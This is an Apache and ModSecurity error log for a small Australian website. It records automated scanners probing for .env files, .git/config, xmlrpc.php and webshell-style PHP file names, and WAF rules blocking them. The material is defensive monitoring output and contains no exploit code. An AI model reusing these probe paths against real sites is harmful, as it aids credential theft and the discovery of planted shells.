[Mon May 11 08:39:25.452680 2026] [:error] [pid 65261:tid 65340] [client 34.118.104.12:55316] [client 34.118.104.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "agElPZu_9uQJeFrcOstJUgAAAJE"]
[Mon May 11 08:49:59.194472 2026] [:error] [pid 35052:tid 35072] [client 34.118.41.75:42386] [client 34.118.41.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "agEnt-HjpNNnFJrMXu2enAAAAVE"]
[Mon May 11 08:49:59.284133 2026] [:error] [pid 35052:tid 35067] [client 34.118.41.75:42390] [client 34.118.41.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.docker"] [unique_id "agEnt-HjpNNnFJrMXu2engAAAUw"]
[Mon May 11 08:49:59.285784 2026] [:error] [pid 35052:tid 35062] [client 34.118.41.75:42400] [client 34.118.41.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env.local"] [unique_id "agEnt-HjpNNnFJrMXu2enwAAAUc"]
[Mon May 11 08:49:59.462135 2026] [:error] [pid 65259:tid 65284] [client 34.118.41.75:42402] [client 34.118.41.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/admin/.env"] [unique_id "agEntwPsXLnMa32ma5BgqAAAABA"]
[Mon May 11 08:49:59.565432 2026] [:error] [pid 35052:tid 35079] [client 34.118.41.75:42406] [client 34.118.41.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.development.local"] [unique_id "agEnt-HjpNNnFJrMXu2eoAAAAVg"]
[Mon May 11 08:49:59.747253 2026] [:error] [pid 9335:tid 9353] [client 34.118.41.75:42434] [client 34.118.41.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dev.local"] [unique_id "agEnt3mXqumINT8bKRE8pgAAARA"]
[Mon May 11 08:49:59.755771 2026] [:error] [pid 35052:tid 35059] [client 34.118.41.75:42420] [client 34.118.41.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/api/.env"] [unique_id "agEnt-HjpNNnFJrMXu2eoQAAAUQ"]
[Mon May 11 08:49:59.761496 2026] [:error] [pid 9335:tid 9342] [client 34.118.41.75:42444] [client 34.118.41.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "agEnt3mXqumINT8bKRE8pwAAAQU"]
[Mon May 11 08:49:59.777741 2026] [:error] [pid 9335:tid 9347] [client 34.118.41.75:42466] [client 34.118.41.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dev"] [unique_id "agEnt3mXqumINT8bKRE8qAAAAQo"]
[Mon May 11 08:49:59.781928 2026] [:error] [pid 9335:tid 9355] [client 34.118.41.75:42456] [client 34.118.41.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env"] [unique_id "agEnt3mXqumINT8bKRE8qQAAARI"]
[Mon May 11 09:21:37.794365 2026] [:error] [pid 9335:tid 9350] [client 34.17.196.54:42554] [client 34.17.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "agEvIXmXqumINT8bKRFChAAAAQ0"]
[Mon May 11 09:51:35.938674 2026] [:error] [pid 9335:tid 9341] [client 34.154.226.72:51722] [client 34.154.226.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "agE2J3mXqumINT8bKRFI3wAAAQQ"]
[Mon May 11 15:21:19.783849 2026] [:error] [pid 58677:tid 58709] [client 94.247.172.129:58090] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.agraphics.com.au|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "agGDbxasRhyteIXf1RU7rgAAAJU"]
[Mon May 11 22:11:10.852411 2026] [:error] [pid 58615:tid 58623] [client 46.135.38.193:27993] [client 46.135.38.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.135.38.193, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "agHjflK28yH055J8TSrt1AAAAAQ"]
[Mon May 11 22:11:10.865605 2026] [proxy_fcgi:error] [pid 58615:tid 58623] [client 46.135.38.193:27993] AH01071: Got error 'Primary script unknown'
[Tue May 12 03:06:19.704447 2026] [:error] [pid 58750:tid 58772] [client 5.255.103.97:60916] [client 5.255.103.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "agIoqzBVaNG3wJtPBU_QigAAAVQ"]
[Tue May 12 03:06:20.299326 2026] [:error] [pid 4685:tid 4690] [client 5.255.103.97:60412] [client 5.255.103.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "agIorHwrjbU4NZilCZ9P1gAAAQI"]
[Tue May 12 03:06:20.812431 2026] [:error] [pid 58677:tid 58702] [client 5.255.103.97:32792] [client 5.255.103.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "agIorBasRhyteIXf1RWVWgAAAI4"]
[Tue May 12 03:06:22.037030 2026] [:error] [pid 58750:tid 58763] [client 5.255.103.97:60886] [client 5.255.103.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "agIorjBVaNG3wJtPBU_QjgAAAUs"]
[Tue May 12 18:45:27.826605 2026] [:error] [pid 42143:tid 42160] [client 91.215.144.213:59990] [client 91.215.144.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.215.144.213, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "agMEx0S2WmK92iCO2L0JcQAAAU0"]
[Tue May 12 18:45:27.838468 2026] [proxy_fcgi:error] [pid 42143:tid 42160] [client 91.215.144.213:59990] AH01071: Got error 'Primary script unknown'
[Wed May 13 02:36:17.944523 2026] [autoindex:error] [pid 42143:tid 42151] [client 141.98.11.120:53487] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed May 13 15:48:49.547166 2026] [:error] [pid 23787:tid 23850] [client 61.223.6.25:23737] [client 61.223.6.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.223.6.25, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "agQs4R1cs5wE7VT6wioKqQAAAII"]
[Wed May 13 15:48:49.559659 2026] [proxy_fcgi:error] [pid 23787:tid 23850] [client 61.223.6.25:23737] AH01071: Got error 'Primary script unknown'
[Thu May 14 02:23:23.038584 2026] [:error] [pid 12337:tid 12353] [client 208.84.100.201:64698] [client 208.84.100.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "agTBmw9W0E4_X4qzYUGHPgAAAAs"]
[Thu May 14 02:23:23.493031 2026] [:error] [pid 12426:tid 12436] [client 208.84.100.201:64702] [client 208.84.100.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "agTBm7Pw24RslX3LIcZwIwAAAMg"]
[Thu May 14 02:23:23.493684 2026] [:error] [pid 12426:tid 12445] [client 208.84.100.201:64724] [client 208.84.100.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.production"] [unique_id "agTBm7Pw24RslX3LIcZwJAAAANE"]
[Thu May 14 02:23:23.493801 2026] [:error] [pid 12426:tid 12446] [client 208.84.100.201:64750] [client 208.84.100.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/backend/.env"] [unique_id "agTBm7Pw24RslX3LIcZwJQAAANI"]
[Thu May 14 02:23:23.493916 2026] [:error] [pid 17873:tid 17892] [client 208.84.100.201:64738] [client 208.84.100.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env"] [unique_id "agTBm_EqBQQrkyEyu_o2cAAAARE"]
[Thu May 14 02:23:23.494075 2026] [:error] [pid 12426:tid 12428] [client 208.84.100.201:64714] [client 208.84.100.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/api/.env"] [unique_id "agTBm7Pw24RslX3LIcZwJgAAAMA"]
[Thu May 14 08:13:55.694102 2026] [proxy_fcgi:error] [pid 11582:tid 11639] [client 20.197.195.237:18006] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:13:56.078836 2026] [proxy_fcgi:error] [pid 11582:tid 11641] [client 20.197.195.237:18006] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:13:56.463962 2026] [proxy_fcgi:error] [pid 11582:tid 11638] [client 20.197.195.237:18006] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:13:56.848459 2026] [proxy_fcgi:error] [pid 11582:tid 11645] [client 20.197.195.237:18006] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:13:57.234214 2026] [proxy_fcgi:error] [pid 11582:tid 11637] [client 20.197.195.237:18006] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:13:57.626481 2026] [proxy_fcgi:error] [pid 11582:tid 11635] [client 20.197.195.237:18006] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:13:58.010967 2026] [proxy_fcgi:error] [pid 11582:tid 11633] [client 20.197.195.237:18006] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:13:58.395952 2026] [proxy_fcgi:error] [pid 11582:tid 11626] [client 20.197.195.237:18006] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:13:58.780933 2026] [proxy_fcgi:error] [pid 11582:tid 11644] [client 20.197.195.237:18006] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:13:59.165437 2026] [proxy_fcgi:error] [pid 11582:tid 11629] [client 20.197.195.237:18006] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:14:00.170687 2026] [:error] [pid 11582:tid 11631] [client 20.197.195.237:18006] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxa.php"] [unique_id "agUTyPuw2cmFDpGcKhDpUAAAAEY"]
[Thu May 14 08:14:01.953908 2026] [:error] [pid 47721:tid 47740] [client 20.197.195.237:18371] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxa.php"] [unique_id "agUTyXEmh7_G0hfOa6s46gAAAZE"]
[Thu May 14 08:14:04.793146 2026] [:error] [pid 11690:tid 11717] [client 20.197.195.237:18369] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxa.php"] [unique_id "agUTzCnxWuLN8Hptw8ma9QAAANI"]
[Thu May 14 08:14:07.610488 2026] [:error] [pid 11582:tid 11642] [client 20.197.195.237:18003] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxa.php"] [unique_id "agUTz_uw2cmFDpGcKhDpVAAAAFE"]
[Thu May 14 08:14:09.152278 2026] [:error] [pid 47673:tid 47677] [client 20.197.195.237:18039] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3369.php"] [unique_id "agUT0fCGe4cIn3sh5k3LEgAAAUI"]
[Thu May 14 08:14:11.232571 2026] [:error] [pid 63033:tid 63050] [client 20.197.195.237:17991] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3369.php"] [unique_id "agUT01MY49UWn5BpqVaGrAAAAQ8"]
[Thu May 14 08:14:12.768844 2026] [:error] [pid 11690:tid 11706] [client 20.197.195.237:18034] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3369.php"] [unique_id "agUT1CnxWuLN8Hptw8mbAwAAAMc"]
[Thu May 14 08:14:14.224109 2026] [:error] [pid 63033:tid 63035] [client 20.197.195.237:18372] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3369.php"] [unique_id "agUT1lMY49UWn5BpqVaGrgAAAQA"]
[Thu May 14 08:14:18.950042 2026] [:error] [pid 11690:tid 11700] [client 20.197.195.237:18379] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dostshell.php"] [unique_id "agUT2inxWuLN8Hptw8mbDgAAAME"]
[Thu May 14 08:14:22.704893 2026] [:error] [pid 47721:tid 47741] [client 20.197.195.237:18040] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dostshell.php"] [unique_id "agUT3nEmh7_G0hfOa6s49gAAAZI"]
[Thu May 14 08:14:27.249171 2026] [:error] [pid 11588:tid 11664] [client 20.197.195.237:17999] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dostshell.php"] [unique_id "agUT49Ur21rOixkeGKYhTQAAAIw"]
[Thu May 14 08:14:31.009677 2026] [:error] [pid 11690:tid 11720] [client 20.197.195.237:18383] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "agUT5ynxWuLN8Hptw8mbJAAAANU"]
[Thu May 14 08:14:33.834088 2026] [:error] [pid 11582:tid 11629] [client 20.197.195.237:18017] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "agUT6fuw2cmFDpGcKhDpWAAAAEQ"]
[Thu May 14 08:14:35.667150 2026] [:error] [pid 63033:tid 63059] [client 20.197.195.237:18036] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "agUT61MY49UWn5BpqVaGtgAAARg"]
[Thu May 14 08:14:38.088107 2026] [:error] [pid 47721:tid 47742] [client 20.197.195.237:18009] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "agUT7nEmh7_G0hfOa6s5PAAAAZM"]
[Thu May 14 08:14:39.509114 2026] [:error] [pid 11690:tid 11700] [client 20.197.195.237:18374] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/77.php"] [unique_id "agUT7ynxWuLN8Hptw8mbLwAAAME"]
[Thu May 14 08:14:40.816566 2026] [:error] [pid 11690:tid 11703] [client 20.197.195.237:18026] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/77.php"] [unique_id "agUT8CnxWuLN8Hptw8mbMgAAAMQ"]
[Thu May 14 08:14:43.336657 2026] [:error] [pid 11690:tid 11701] [client 20.197.195.237:18375] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/77.php"] [unique_id "agUT8ynxWuLN8Hptw8mbNwAAAMI"]
[Thu May 14 08:14:44.525352 2026] [:error] [pid 11582:tid 11632] [client 20.197.195.237:18037] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/77.php"] [unique_id "agUT9Puw2cmFDpGcKhDpWQAAAEc"]
[Thu May 14 08:14:46.800998 2026] [:error] [pid 11690:tid 11706] [client 20.197.195.237:18401] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kz.php"] [unique_id "agUT9inxWuLN8Hptw8mbPQAAAMc"]
[Thu May 14 08:14:48.442006 2026] [:error] [pid 11582:tid 11625] [client 20.197.195.237:18045] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kz.php"] [unique_id "agUT-Puw2cmFDpGcKhDpWgAAAEA"]
[Thu May 14 08:14:51.076030 2026] [:error] [pid 63033:tid 63037] [client 20.197.195.237:18042] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kz.php"] [unique_id "agUT-1MY49UWn5BpqVaGugAAAQI"]
[Thu May 14 08:14:54.415211 2026] [:error] [pid 11690:tid 11701] [client 20.197.195.237:18008] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kz.php"] [unique_id "agUT_inxWuLN8Hptw8mbRgAAAMI"]
[Thu May 14 08:14:57.218968 2026] [:error] [pid 47721:tid 47739] [client 20.197.195.237:18005] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file6.php"] [unique_id "agUUAXEmh7_G0hfOa6s5RgAAAZA"]
[Thu May 14 08:14:59.165302 2026] [proxy_fcgi:error] [pid 63033:tid 63035] [client 20.197.195.237:18014] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:14:59.480098 2026] [proxy_fcgi:error] [pid 63033:tid 63041] [client 20.197.195.237:18014] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:14:59.844860 2026] [proxy_fcgi:error] [pid 63033:tid 63052] [client 20.197.195.237:18014] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:15:00.160604 2026] [proxy_fcgi:error] [pid 63033:tid 63053] [client 20.197.195.237:18014] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:15:00.475294 2026] [proxy_fcgi:error] [pid 63033:tid 63047] [client 20.197.195.237:18014] AH01071: Got error 'Primary script unknown'
